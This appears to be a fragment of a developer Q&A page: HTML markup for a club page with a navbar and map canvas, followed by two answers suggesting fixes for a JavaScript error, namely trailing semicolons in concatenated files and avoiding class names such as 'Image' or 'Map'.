HSrequests" > <div class="hs-notification-menu-heading"> Requests <a title="Remove" class="removebutton hideRequestsBtn" href="#" >Remove </a> </div> <div class="hs-notifications-menu-items-wrap" style=""> <ul class="hs-notificatin-list requestul"> </ul> </div> <div class="hs-notification-menu-footer"> <a class="seemore" href="#" title=""> <span>See All</span> </a> </div> </div> <!-- end of requests --> <div class="container_12"> <div class="content-header"> <h4><img class="smallClubImage" alt="" src="images/header-small-image.png" /></h4> Info <div data-role="navbar" class="nav-glyphish-example" data-grid="c"> <ul> <li class="no-border">Members</li> <li class="active">Map</li> <li>Harvest</li> <li><a href="clubpages/albums.html" id="nav-picture" data-icon="custom" >Picture</a></li> </ul> </div> </div> <div class="content-wrap map-wrap"> <div id="map-canvas" style="height:500px; width:100%; margin:0; padding:0"> </div> </div> </div> </div> </div>
I had the same error but I solved it two months ago! I was because a jquery plugin of mine was not ending in ; You can Try to end your JS lines with ; I can see you don't follow this best practices advice. So, add it to you own js files (at the end) in order to let the files concatenation understand That a new file is really a new single function (or statement) Sorry If this is not the solution to your problem! Thank you for reading
Hi there is some problem with your class names you put the class names same as some keywords like Image you cannot put Image as a class name also check if other same problem exist i think you should check by using some IDE it will shows the special names in different color. also change the class name Map I had the same error once i think it will help you Thanks